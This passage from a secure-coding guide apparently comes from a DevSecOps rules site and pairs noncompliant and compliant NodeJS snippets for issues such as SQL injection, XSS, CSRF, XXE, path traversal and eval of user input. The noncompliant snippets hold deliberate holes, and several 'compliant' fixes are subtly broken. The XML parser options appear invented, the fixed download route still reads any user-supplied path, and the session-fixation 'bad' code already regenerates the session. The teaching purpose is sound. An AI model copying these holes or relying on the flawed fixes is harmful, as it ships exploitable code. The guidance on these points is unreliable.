source, ensuring its integrity and reliability. The data is then passed through a data sanitization process to remove potential vulnerabilities, biases, or malicious content. The sanitized data is used for training the model, reducing the risk of training data poisoning. ================================================ FILE: docs/rules/nodejs.md ================================================ --- layout: default title: NodeJS parent: Rules --- # NodeJS {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php const fs = require('fs'); function login(username, password) { // Validate the username and password if (username === 'admin' && password === 'password123') { // Log the successful login fs.appendFileSync('logs.txt', `Successful login: ${username}`); return true; } else { // Log the failed login fs.appendFileSync('logs.txt', `Failed login: ${username}`); return false; } } ``` In this noncompliant code, the login function logs sensitive information, such as the username, directly into a log file (logs.txt). This is a security risk as the log file may be accessible to unauthorized users, potentially exposing sensitive information like usernames or passwords. To address this issue, here's a compliant code example that avoids exposing sensitive information in the log file: Compliant code: ```php const fs = require('fs'); function login(username, password) { // Validate the username and password if (username === 'admin' && password === 'password123') { // Log the successful login without sensitive information fs.appendFileSync('logs.txt', 'Successful login'); return true; } else { // Log the failed login without sensitive information fs.appendFileSync('logs.txt', 'Failed login'); return false; } } ``` In this compliant code, the sensitive information (username) is not logged directly. Instead, only a generic log message indicating a successful or failed login is recorded in the log file. By avoiding the direct exposure of sensitive information in the log file, you can protect user credentials and prevent potential misuse or unauthorized access. Additionally, it's important to ensure that the log files themselves are properly secured and access is restricted to authorized personnel only. This can include setting appropriate file permissions, encrypting the log files, or utilizing a centralized logging solution that offers robust access controls and security features. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/user', (req, res) => { const userId = req.query.id; const userData = getUserData(userId); // Include sensitive information in the response res.json({ id: userId, username: userData.username, email: userData.email, password: userData.password }); }); app.listen(3000, () => { console.log('Server is running on port 3000'); }); ``` In this noncompliant code, when the /user endpoint is called with a query parameter id, it retrieves user data for the specified ID and includes sensitive information such as the password in the response JSON. This can pose a security risk as the sensitive information may be intercepted or accessed by unauthorized parties. To address this issue, here's a compliant code example that avoids inserting sensitive information into sent data: Compliant code: ```php const express = require('express'); const app = express(); app.get('/user', (req, res) => { const userId = req.query.id; const userData = getUserData(userId); // Exclude sensitive information from the response const { id, username, email } = userData; res.json({ id, username, email }); }); app.listen(3000, () => { console.log('Server is running on port 3000'); }); ``` In this compliant code, only the necessary non-sensitive information (such as user ID, username, and email) is included in the response JSON. The sensitive information, such as the password, is excluded from the response, reducing the risk of exposing sensitive data to unauthorized users. It's important to ensure that sensitive information is handled securely and only shared with authorized users or in appropriate contexts. By following the principle of least privilege and excluding sensitive data from sent data, you can mitigate the risk of unauthorized access or exposure of sensitive information. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/transfer-money', (req, res) => { const amount = req.query.amount; const toAccount = req.query.to; // Transfer money to the specified account transferMoney(amount, toAccount); res.send('Money transferred successfully!'); }); app.listen(3000, () => { console.log('Server is running on port 3000'); }); ``` In this noncompliant code, the /transfer-money endpoint allows the transfer of money by making a GET request with query parameters for the amount and the recipient account. This design is vulnerable to CSRF attacks because an attacker can create a malicious website that automatically triggers this request on behalf of a victim who visits the website. As a result, the victim's money can be transferred without their consent or knowledge. To address this issue, here's a compliant code example that implements CSRF protection using tokens: Compliant code: ```php const express = require('express'); const csrf = require('csurf'); const app = express(); // Enable CSRF protection middleware const csrfProtection = csrf({ cookie: true }); // Generate and send CSRF token to the client app.get('/csrf-token', csrfProtection, (req, res) => { res.json({ csrfToken: req.csrfToken() }); }); // Transfer money only for valid CSRF-protected requests app.post('/transfer-money', csrfProtection, (req, res) => { const amount = req.body.amount; const toAccount = req.body.to; // Transfer money to the specified account transferMoney(amount, toAccount); res.send('Money transferred successfully!'); }); app.listen(3000, () => { console.log('Server is running on port 3000'); }); ``` In this compliant code, the CSRF protection middleware (csurf) is used to generate and validate CSRF tokens. First, a separate route (/csrf-token) is added to generate and send the CSRF token to the client. Then, the /transfer-money endpoint is modified to accept only POST requests and include the CSRF protection middleware. This ensures that the transfer of money can only be performed if a valid CSRF token is provided with the request. By implementing CSRF protection, the compliant code prevents unauthorized parties from performing malicious actions, such as transferring money, through forged requests. The use of CSRF tokens helps verify the authenticity of requests and protects against CSRF attacks. ## Use of Hard-coded Password Noncompliant code: ```php const bcrypt = require('bcrypt'); const saltRounds = 10; const password = 'myHardcodedPassword'; bcrypt.hash(password, saltRounds, (err, hash) => { if (err) { console.error('Error hashing password:', err); return; } // Store the hashed password in the database storePasswordInDatabase(hash); }); ``` In this noncompliant code, the variable password contains a hard-coded password value. Storing passwords directly in code poses a significant security risk because if an attacker gains access to the codebase, they will have immediate knowledge of the password, potentially compromising user accounts or system security. To address this issue, here's a compliant code example that avoids the use of hard-coded passwords: Compliant code: ```php const bcrypt = require('bcrypt'); const saltRounds = 10; function hashPassword(password, callback) { bcrypt.hash(password, saltRounds, (err, hash) => { if (err) { console.error('Error hashing password:', err); return callback(err); } // Store the hashed password in the database storePasswordInDatabase(hash, callback); }); } // Usage const password = 'myPassword'; hashPassword(password, (err) => { if (err) { console.error('Failed to hash password:', err); return; } console.log('Password hashed and stored successfully'); }); ``` In this compliant code, the hashPassword function takes the password as a parameter and generates a secure hash using the bcrypt library. The hashed password is then stored in the database. By separating the password from the code and passing it as a parameter, the hard-coded password is no longer present in the codebase. Instead, the password is supplied at runtime, reducing the risk of unauthorized access to sensitive information. By avoiding the use of hard-coded passwords, the compliant code enhances the security of the application and reduces the risk of unauthorized access to user accounts or system resources. ## Broken or Risky Crypto Algorithm Noncompliant code: ```php const crypto = require('crypto'); function hashPassword(password) { const hash = crypto.createHash('md5').update(password).digest('hex'); return hash; } // Usage const password = 'myPassword'; const hashedPassword = hashPassword(password); console.log('Hashed password:', hashedPassword); ``` In this noncompliant code, the crypto.createHash function is used with the MD5 algorithm to hash the password. However, MD5 is considered to be insecure for password hashing due to its vulnerability to collision attacks and the availability of faster computing resources. It's important to use stronger and more secure algorithms, such as bcrypt or Argon2, for password hashing to protect user credentials. To address this issue, here's a compliant code example that uses the bcrypt library for secure password hashing: Compliant code: ```php const bcrypt = require('bcrypt'); const saltRounds = 10; function hashPassword(password, callback) { bcrypt.hash(password, saltRounds, (err, hash) => { if (err) { console.error('Error hashing password:', err); return callback(err); } return callback(null, hash); }); } // Usage const password = 'myPassword'; hashPassword(password, (err, hashedPassword) => { if (err) { console.error('Failed to hash password:', err); return; } console.log('Hashed password:', hashedPassword); }); ``` In this compliant code, the bcrypt library is used to securely hash the password. The bcrypt.hash function generates a salted hash with the specified number of rounds, providing a high level of security against brute-force and dictionary attacks. By using bcrypt instead of the insecure MD5 algorithm, the compliant code significantly improves the security of password hashing in the application. This helps protect user credentials and prevents attackers from easily obtaining the original passwords through brute-force or rainbow table attacks. ## Insufficient Entropy Noncompliant code: ```php function generateApiKey() { const length = 32; const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; let apiKey = ''; for (let i = 0; i < length; i++) { const randomIndex = Math.floor(Math.random() * chars.length); apiKey += chars.charAt(randomIndex); } return apiKey; } // Usage const apiKey = generateApiKey(); console.log('Generated API key:', apiKey); ``` In this noncompliant code, the generateApiKey function attempts to generate a random API key by selecting random characters from a predetermined set of characters. However, the random values are generated using the Math.random() function, which may not provide sufficient entropy for secure random number generation. The Math.random() function relies on the underlying random number generator of the JavaScript runtime, which may not be suitable for cryptographic purposes. To address this issue, here's a compliant code example that uses the crypto module in Node.js to generate a secure random API key: Compliant code: ```php const crypto = require('crypto'); function generateApiKey() { const length = 32; const buffer = crypto.randomBytes(length); const apiKey = buffer.toString('hex'); return apiKey; } // Usage const apiKey = generateApiKey(); console.log('Generated API key:', apiKey); ``` In this compliant code, the crypto.randomBytes function from the crypto module is used to generate a buffer of cryptographically secure random bytes. The buffer is then converted to a hexadecimal string representation using the toString method. This approach ensures the generation of random values with sufficient entropy for secure purposes. By using the crypto.randomBytes function instead of Math.random(), the compliant code improves the entropy of the generated API key, making it more secure and resistant to prediction or guessing attacks. ## XSS Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/search', (req, res) => { const query = req.query.q; const response = `Search results for: ${query}`; res.send(response); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the /search endpoint retrieves the search query from the request's query parameters (req.query.q) and includes it directly in the response without any sanitization or validation. This can lead to an XSS vulnerability because an attacker can craft a malicious query that includes JavaScript code, which will be executed when the response is rendered in a user's browser. To address this issue, here's a compliant code example that properly sanitizes user input to prevent XSS attacks: Compliant code: ```php const express = require('express'); const app = express(); const xss = require('xss'); app.get('/search', (req, res) => { const query = req.query.q; const sanitizedQuery = xss(query); const response = `Search results for: ${sanitizedQuery}`; res.send(response); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this compliant code, the xss library is used to sanitize the user input (query) before including it in the response. The xss function escapes any HTML tags and special characters in the query, preventing them from being interpreted as code when rendered in the browser. This ensures that the response is safe from XSS attacks by effectively neutralizing any potentially malicious input. By incorporating proper input sanitization using a library like xss, the compliant code mitigates the risk of XSS vulnerabilities and ensures that user input is properly handled and rendered safely in the browser. ## SQL Injection Noncompliant code: ```php const express = require('express'); const app = express(); const mysql = require('mysql'); app.get('/users', (req, res) => { const userId = req.query.id; const query = `SELECT * FROM users WHERE id = ${userId}`; // Execute the SQL query and return the results const connection = mysql.createConnection({ host: 'localhost', user: 'root', password: 'password', database: 'mydb' }); connection.query(query, (error, results) => { if (error) throw error; res.json(results); }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the /users endpoint retrieves the user ID from the request's query parameters (req.query.id) and directly interpolates it into the SQL query (SELECT * FROM users WHERE id = ${userId}). This makes the code vulnerable to SQL injection attacks. An attacker can manipulate the userId parameter and inject malicious SQL code, potentially gaining unauthorized access to the database or performing other harmful actions. To address this issue, here's a compliant code example that uses prepared statements to mitigate the SQL injection vulnerability: Compliant code: ```php const express = require('express'); const app = express(); const mysql = require('mysql'); app.get('/users', (req, res) => { const userId = req.query.id; const query = 'SELECT * FROM users WHERE id = ?'; const connection = mysql.createConnection({ host: 'localhost', user: 'root', password: 'password', database: 'mydb' }); connection.query(query, [userId], (error, results) => { if (error) throw error; res.json(results); }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this compliant code, a prepared statement is used by replacing the user input with a placeholder (?) in the SQL query (SELECT * FROM users WHERE id = ?). The actual user input (userId) is passed as a parameter to the connection.query method, ensuring that it is properly escaped and treated as a value, rather than being executed as part of the SQL query itself. This effectively prevents SQL injection attacks by separating the SQL code from the user input. By using prepared statements or parameterized queries, the compliant code ensures that user input is handled safely and prevents malicious SQL injection attacks by treating user input as data rather than executable code. ## External Control of File Name or Path Noncompliant code: ```php const express = require('express'); const app = express(); const fs = require('fs'); app.get('/download', (req, res) => { const fileName = req.query.file; const filePath = `/path/to/files/${fileName}`; fs.readFile(filePath, (err, data) => { if (err) { res.status(404).send('File not found'); } else { res.setHeader('Content-Disposition', `attachment; filename=${fileName}`); res.send(data); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the /download endpoint allows users to specify the file name in the query parameter (req.query.file). The code directly uses the user-supplied file name to construct the file path (/path/to/files/${fileName}) and attempts to read and send the file's content. This approach introduces a security vulnerability known as external control of file name or path, where an attacker can manipulate the file parameter to access arbitrary files on the server's file system. To address this issue, here's a compliant code example that validates and sanitizes the file name to prevent external control of file name or path attacks: Compliant code: ```php const express = require('express'); const app = express(); const fs = require('fs'); const path = require('path'); app.get('/download', (req, res) => { const fileName = req.query.file; const sanitizedFileName = path.basename(fileName); // Sanitize the file name const filePath = path.join('/path/to/files', sanitizedFileName); fs.readFile(filePath, (err, data) => { if (err) { res.status(404).send('File not found'); } else { res.setHeader('Content-Disposition', `attachment; filename=${sanitizedFileName}`); res.send(data); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this compliant code, the file name obtained from the user input (req.query.file) is sanitized using path.basename to extract the file name and discard any directory information or path traversal attempts. The sanitized file name is then securely joined with the base directory path using path.join to ensure a valid and safe file path is constructed. By validating and sanitizing the file name, the compliant code prevents external control of file name or path attacks and restricts the file access to the intended directory. It's important to note that the code examples provided assume a simplified scenario for demonstration purposes. In practice, it is recommended to implement additional security measures such as access controls, file type validation, and proper error handling to enhance the security of file downloads. ## Generation of Error Message Containing Sensitive Information Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/user/:id', (req, res) => { const userId = req.params.id; const user = getUserFromDatabase(userId); if (!user) { throw new Error(`User ${userId} not found`); // Noncompliant: Error message contains sensitive information } res.send(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, when a user is not found in the database, an error is thrown with an error message that includes the user ID (User ${userId} not found). This approach poses a security risk as it exposes sensitive information (the user ID) to potential attackers. Error messages containing sensitive information can be exploited by malicious actors to gather intelligence about the system and potentially mount further attacks. To address this issue, here's a compliant code example that avoids including sensitive information in error messages: Compliant code: ```php const express = require('express'); const app = express(); app.get('/user/:id', (req, res) => { const userId = req.params.id; const user = getUserFromDatabase(userId); if (!user) { res.status(404).send('User not found'); // Compliant: Generic error message without sensitive information return; } res.send(user); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this compliant code, when a user is not found, a generic error message is sent without including any sensitive information. By providing a generic error message, the code avoids leaking potentially sensitive data and provides limited information to potential attackers. It's crucial to handle errors carefully and avoid exposing sensitive information through error messages. Additionally, it's recommended to log errors on the server side for debugging and monitoring purposes, while ensuring that the logs do not contain sensitive information. ## unprotected storage of credentials Noncompliant code: ```php const express = require('express'); const app = express(); let databaseCredentials = { username: 'admin', password: 'secretpassword' }; app.post('/login', (req, res) => { const { username, password } = req.body; if (username === databaseCredentials.username && password === databaseCredentials.password) { res.send('Login successful'); } else { res.send('Invalid credentials'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the database credentials (username and password) are stored directly in a variable (databaseCredentials) without any protection. Storing credentials in plain text in the source code or configuration files is highly insecure and exposes them to potential unauthorized access. Any person with access to the codebase can easily retrieve the credentials, posing a significant security risk. To address this issue, here's a compliant code example that demonstrates a better approach for handling credentials: Compliant code: ```php const express = require('express'); const app = express(); // These credentials should be stored securely, such as environment variables or a separate configuration file. const databaseCredentials = { username: process.env.DB_USERNAME, password: process.env.DB_PASSWORD }; app.post('/login', (req, res) => { const { username, password } = req.body; if (username === databaseCredentials.username && password === databaseCredentials.password) { res.send('Login successful'); } else { res.send('Invalid credentials'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the credentials are loaded from environment variables (process.env) instead of being hardcoded directly in the code. Storing sensitive information, such as database credentials, in environment variables provides an additional layer of security. By utilizing environment variables, the credentials are kept separate from the codebase and can be easily managed and protected in a secure manner. Remember to configure the environment variables securely on the server hosting the application to ensure the credentials are properly protected. ## Trust Boundary Violation Noncompliant code: ```php const express = require('express'); const app = express(); app.post('/submitForm', (req, res) => { const isAdmin = req.body.isAdmin; if (isAdmin) { // Perform privileged operation grantAdminAccess(); } else { // Process user request processUserRequest(); } res.send('Form submitted successfully'); }); function grantAdminAccess() { // Code to grant admin access // ... } function processUserRequest() { // Code to process user request // ... } app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, there is no proper validation or enforcement of the trust boundary between user input and privileged operations. The code blindly trusts the value of req.body.isAdmin to determine whether the user should be granted admin access or not. This trust boundary violation allows an attacker to manipulate the value of isAdmin and gain unauthorized admin privileges. To address this issue, here's a compliant code example that demonstrates proper trust boundary enforcement: Compliant code: ```php const express = require('express'); const app = express(); app.post('/submitForm', (req, res) => { const isAdmin = Boolean(req.body.isAdmin); if (isAdmin) { // Verify user authentication and authorization before granting admin access authenticateAndAuthorizeUser(req) .then(() => { grantAdminAccess(); res.send('Admin access granted'); }) .catch(() => { res.status(403).send('Access denied'); }); } else { // Process user request processUserRequest(); res.send('Form submitted successfully'); } }); function grantAdminAccess() { // Code to grant admin access // ... } function processUserRequest() { // Code to process user request // ... } function authenticateAndAuthorizeUser(req) { // Perform user authentication and authorization // ... // Return a promise that resolves if the user is authenticated and authorized, or rejects otherwise } app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the value of req.body.isAdmin is properly validated and converted to a boolean using Boolean(req.body.isAdmin). Additionally, the code enforces a trust boundary by explicitly checking the user's authentication and authorization before granting admin access. The authenticateAndAuthorizeUser function is responsible for performing the necessary authentication and authorization checks and returns a promise that resolves if the user is authenticated and authorized or rejects otherwise. By enforcing the trust boundary and properly validating user input, the code mitigates the risk of unauthorized access and ensures that privileged operations are only performed when appropriate authentication and authorization are established. ## Insufficiently Protected Credentials Noncompliant code: ```php const express = require('express'); const app = express(); app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; // Store the credentials in plain text storeCredentials(username, password); // Perform authentication const isAuthenticated = authenticate(username, password); if (isAuthenticated) { res.send('Login successful'); } else { res.send('Login failed'); } }); function storeCredentials(username, password) { // Code to store credentials (noncompliant) // ... } function authenticate(username, password) { // Code to authenticate user // ... } app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the user's credentials are stored in plain text by calling the storeCredentials function. Storing sensitive information, such as passwords, in plain text leaves them vulnerable to unauthorized access if the system is compromised. To address this issue, here's a compliant code example that demonstrates the proper protection of credentials using a secure hashing algorithm: Compliant code: ```php const express = require('express'); const bcrypt = require('bcrypt'); const app = express(); const saltRounds = 10; app.post('/login', async (req, res) => { const username = req.body.username; const password = req.body.password; // Hash the password const hashedPassword = await hashPassword(password); // Store the hashed password storeCredentials(username, hashedPassword); // Perform authentication const isAuthenticated = await authenticate(username, password); if (isAuthenticated) { res.send('Login successful'); } else { res.send('Login failed'); } }); async function hashPassword(password) { // Hash the password using bcrypt const salt = await bcrypt.genSalt(saltRounds); const hashedPassword = await bcrypt.hash(password, salt); return hashedPassword; } function storeCredentials(username, hashedPassword) { // Code to store hashed credentials // ... } async function authenticate(username, password) { // Retrieve hashed password from storage const storedHashedPassword = await getHashedPassword(username); // Compare the provided password with the stored hashed password const isAuthenticated = await bcrypt.compare(password, storedHashedPassword); return isAuthenticated; } async function getHashedPassword(username) { // Code to retrieve hashed password from storage // ... } app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the user's password is protected by using the bcrypt library to securely hash the password before storing it. The hashPassword function generates a salt and hashes the password using bcrypt. The resulting hashed password is then stored using the storeCredentials function. During authentication, the stored hashed password is retrieved using the getHashedPassword function. The provided password is compared with the stored hashed password using the bcrypt.compare function, which performs a secure comparison without revealing the original password. By properly protecting credentials with a strong hashing algorithm like bcrypt, the code ensures that even if the stored passwords are compromised, they are not easily readable or usable by an attacker. ## Restriction of XML External Entity Reference Noncompliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const xml2js = require('xml2js'); app.use(bodyParser.text({ type: 'text/xml' })); app.post('/parse-xml', (req, res) => { const xmlData = req.body; // Parse the XML data xml2js.parseString(xmlData, (err, result) => { if (err) { res.status(400).send('Invalid XML data'); } else { // Process the XML data // ... res.send('XML data processed successfully'); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the XML data received from the client is parsed using the xml2js library without proper restriction of XML external entity references. This can lead to XXE attacks where an attacker can include external entities and read arbitrary files from the server or perform other malicious actions. To address this issue, here's a compliant code example that demonstrates the restriction of XML external entity references: Compliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const xml2js = require('xml2js'); app.use(bodyParser.text({ type: 'text/xml' })); app.post('/parse-xml', (req, res) => { const xmlData = req.body; // Configure the XML parser to disable external entity references const parser = new xml2js.Parser({ explicitCharkey: true, explicitRoot: false, explicitArray: false, ignoreAttrs: true, mergeAttrs: false, xmlns: false, allowDtd: false, allowXmlExternalEntities: false, // Disable external entity references }); // Parse the XML data parser.parseString(xmlData, (err, result) => { if (err) { res.status(400).send('Invalid XML data'); } else { // Process the XML data // ... res.send('XML data processed successfully'); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the XML parser from the xml2js library is configured with the allowXmlExternalEntities option set to false, which disables external entity references. This prevents potential XXE attacks by disallowing the parsing of external entities and ensures that only safe XML data is processed. By restricting XML external entity references, the code mitigates the risk of XXE attacks and helps maintain the integrity and security of the application. ## Vulnerable and Outdated Components Noncompliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const mongo = require('mongo'); app.use(bodyParser.json()); app.post('/user', (req, res) => { const user = req.body; mongo.connect('mongodb://localhost:27017', (err, client) => { if (err) { res.status(500).send('Internal Server Error'); } else { const db = client.db('myapp'); db.collection('users').insertOne(user, (err, result) => { if (err) { res.status(500).send('Internal Server Error'); } else { res.status(200).send('User created successfully'); } }); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, there are two issues related to vulnerable and outdated components: 1. The mongo package is used to connect to a MongoDB database. However, the version of the package being used may have known vulnerabilities or be outdated. This can expose the application to potential security risks. 2. The code does not handle error scenarios properly. In case of an error during the database connection or user insertion, the application simply responds with an "Internal Server Error" message. This lack of detailed error handling can make it difficult to identify and resolve security issues or potential vulnerabilities. To address these issues, here's a compliant code example that demonstrates the use of secure and up-to-date components as well as improved error handling: Compliant code: ```php const express = require('express'); const app = express(); const bodyParser = require('body-parser'); const MongoClient = require('mongodb').MongoClient; app.use(bodyParser.json()); app.post('/user', (req, res) => { const user = req.body; MongoClient.connect('mongodb://localhost:27017', { useUnifiedTopology: true }, (err, client) => { if (err) { console.error(err); res.status(500).send('Database connection error'); } else { const db = client.db('myapp'); db.collection('users').insertOne(user, (err, result) => { if (err) { console.error(err); res.status(500).send('User creation error'); } else { res.status(200).send('User created successfully'); } client.close(); // Close the database connection }); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the following improvements have been made: 1. The mongo package has been replaced with mongodb package, which is actively maintained and up-to-date. 2. The useUnifiedTopology option is added to the MongoClient connection to ensure a secure and recommended connection topology. 3. Detailed error handling is implemented by logging the error messages to the console. This provides better visibility into potential issues and aids in troubleshooting. 4. The client.close() method is called to close the database connection after the operation is completed. This helps prevent resource leaks and ensures proper management of the database connection. By using secure and up-to-date components, as well as implementing improved error handling practices, the compliant code reduces the risk of vulnerabilities and ensures a more robust and secure application. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php const https = require('https'); const options = { hostname: 'example.com', port: 443, path: '/', method: 'GET', rejectUnauthorized: false, // Disabling certificate validation }; const req = https.request(options, (res) => { res.on('data', (data) => { console.log(data.toString()); }); }); req.end(); ``` In this noncompliant code, the rejectUnauthorized option is set to false, effectively disabling certificate validation. This means that the Node.js application will accept any certificate, even if it doesn't match the expected hostname (example.com in this case). This can lead to security vulnerabilities, such as man-in-the-middle attacks or spoofing. To address this issue, here's a compliant code example that demonstrates proper validation of the certificate with the expected hostname: Compliant code: ```php const https = require('https'); const tls = require('tls'); const options = { hostname: 'example.com', port: 443, path: '/', method: 'GET', checkServerIdentity: (host, cert) => { const err = tls.checkServerIdentity(host, cert); if (err) { throw err; // Terminate the connection on certificate mismatch } }, }; const req = https.request(options, (res) => { res.on('data', (data) => { console.log(data.toString()); }); }); req.end(); ``` In the compliant code, the checkServerIdentity option is used to provide a custom callback function that performs proper certificate validation. The tls.checkServerIdentity function is used to compare the expected hostname (example.com) with the certificate's Common Name (CN) or Subject Alternative Names (SANs). If there is a mismatch, an error is thrown, terminating the connection. By implementing proper certificate validation, the compliant code ensures that the certificate presented by the server matches the expected hostname, reducing the risk of man-in-the-middle attacks and providing a more secure communication channel. ## Improper Authentication Noncompliant code: ```php const express = require('express'); const app = express(); app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; if (username === 'admin' && password === 'admin123') { // Successful authentication res.send('Login successful!'); } else { // Failed authentication res.send('Invalid username or password!'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the authentication mechanism relies on a simple username and password check. The username and password are received from the request body, and a hardcoded comparison is performed to determine whether the authentication is successful. This approach is insecure because it lacks proper security measures, such as hashing and salting passwords, implementing strong authentication protocols, and protecting against brute-force attacks. To address this issue, here's a compliant code example that demonstrates improved authentication practices: Compliant code: ```php const express = require('express'); const app = express(); const bcrypt = require('bcrypt'); // Mock user data const users = [ { username: 'admin', password: '$2b$10$rZrVJnI1.Y9OyK6ZrLqmguXHBXYTNcIQ00CJQc8XU1gYRGmdxcqzK', // Hashed password: "admin123" }, ]; app.use(express.json()); app.post('/login', (req, res) => { const username = req.body.username; const password = req.body.password; const user = users.find((user) => user.username === username); if (!user) { // User not found return res.status(401).send('Invalid username or password!'); } bcrypt.compare(password, user.password, (err, result) => { if (err) { // Error during password comparison return res.status(500).send('Internal Server Error'); } if (result) { // Successful authentication res.send('Login successful!'); } else { // Failed authentication res.status(401).send('Invalid username or password!'); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, several improvements are made to the authentication process. Instead of a simple comparison, the code uses the bcrypt library to hash and compare passwords securely. The user's password is stored as a hashed value in the user data. When a login request is received, the code retrieves the user from the user data based on the provided username. Then, bcrypt.compare is used to compare the provided password with the stored hashed password. By implementing proper password hashing and secure comparison, the compliant code enhances the security of the authentication process, making it more resistant to password cracking attempts and improving overall application security. ## Session Fixation Noncompliant code: ```php const express = require('express'); const session = require('express-session'); const app = express(); app.use( session({ secret: 'insecuresecret', resave: false, saveUninitialized: true, }) ); app.get('/login', (req, res) => { // Generate a new session ID and store it in the session cookie req.session.regenerate(() => { req.session.userId = 'admin'; res.send('Logged in!'); }); }); app.get('/profile', (req, res) => { // Accessing the profile without authentication const userId = req.session.userId; if (userId) { res.send(`Welcome, ${userId}!`); } else { res.send('Please log in!'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application uses the express-session middleware to manage sessions. However, it is vulnerable to session fixation attacks. The code generates a new session ID upon visiting the /login route but does not invalidate the existing session ID. This allows an attacker to fixate a session ID by initiating a session and then tricking the victim into using the same session ID. To address this issue, here's a compliant code example that demonstrates session fixation prevention: Compliant code: ```php const express = require('express'); const session = require('express-session'); const crypto = require('crypto'); const app = express(); app.use( session({ secret: 'securesecret', resave: false, saveUninitialized: true, genid: () => { // Generate a unique session ID return crypto.randomBytes(16).toString('hex'); }, }) ); app.get('/login', (req, res) => { // Regenerate session ID to prevent session fixation req.session.regenerate(() => { req.session.userId = 'admin'; res.send('Logged in!'); }); }); app.get('/profile', (req, res) => { // Accessing the profile without authentication const userId = req.session.userId; if (userId) { res.send(`Welcome, ${userId}!`); } else { res.send('Please log in!'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In the compliant code, the session ID is regenerated upon successful login by using the regenerate method provided by the express-session middleware. This invalidates the previous session ID and generates a new, unique one. By doing so, the code prevents session fixation attacks because the attacker's fixed session ID becomes invalid. By implementing session ID regeneration and ensuring that a new session ID is issued upon login, the compliant code mitigates the session fixation vulnerability and enhances the overall security of the application. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/dynamic', (req, res) => { const functionName = req.query.function; // Execute the specified function from untrusted user input eval(functionName); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application exposes an endpoint /dynamic that takes a function query parameter. The code uses the eval() function to directly execute the specified function from the untrusted user input. This approach is highly dangerous as it allows arbitrary code execution, enabling attackers to execute malicious code on the server. To address this issue, here's a compliant code example that avoids the inclusion of functionality from untrusted control: Compliant code: ```php const express = require('express'); const app = express(); app.get('/dynamic', (req, res) => { const functionName = req.query.function; // Validate the function name against a whitelist if (isFunctionAllowed(functionName)) { // Call the allowed function from a predefined set const result = callAllowedFunction(functionName); res.send(result); } else { res.status(400).send('Invalid function'); } }); app.listen(3000, () => { console.log('Server started on port 3000'); }); function isFunctionAllowed(functionName) { // Check if the function name is in the allowed set const allowedFunctions = ['function1', 'function2', 'function3']; return allowedFunctions.includes(functionName); } function callAllowedFunction(functionName) { // Implement the logic for each allowed function if (functionName === 'function1') { return 'Function 1 called'; } else if (functionName === 'function2') { return 'Function 2 called'; } else if (functionName === 'function3') { return 'Function 3 called'; } } ``` In the compliant code, the application validates the function query parameter against a whitelist of allowed functions using the isFunctionAllowed() function. If the specified function is allowed, the code calls the corresponding function from a predefined set using the callAllowedFunction() function. This approach ensures that only safe and intended functionality is executed based on the whitelist, mitigating the risk of executing arbitrary or malicious code. By implementing this approach, the compliant code prevents the inclusion of functionality from untrusted control and helps protect the application from potential security vulnerabilities and attacks. ## Download of Code Without Integrity Check Noncompliant code: ```php const express = require('express'); const app = express(); app.get('/download', (req, res) => { const fileName = req.query.filename; // Download the file without integrity check res.download(fileName); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); ``` In this noncompliant code, the application exposes an endpoint /download that takes a filename query parameter. The code uses the res.download() function to download the file specified by the user without performing any integrity check. This approach is insecure because it allows users to download potentially malicious or tampered files, which can lead to security vulnerabilities in the application or compromise the user's system. To address this issue, here's a compliant code example that incorporates an integrity check before downloading the file: Compliant code: ```php const express = require('express'); const app = express(); const fs = require('fs'); const crypto = require('crypto'); app.get('/download', (req, res) => { const fileName = req.query.filename; // Read the file contents fs.readFile(fileName, (err, data) => { if (err) { res.status(404).send('File not found'); return; } // Calculate the file's hash const fileHash = crypto.createHash('sha256').update(data).digest('hex'); // Perform integrity check if (isFileIntegrityValid(fileHash)) { // Download the file res.download(fileName); } else { res.status(403).send('Integrity check failed'); } }); }); app.listen(3000, () => { console.log('Server started on port 3000'); }); function isFileIntegrityValid(fileHash) { // 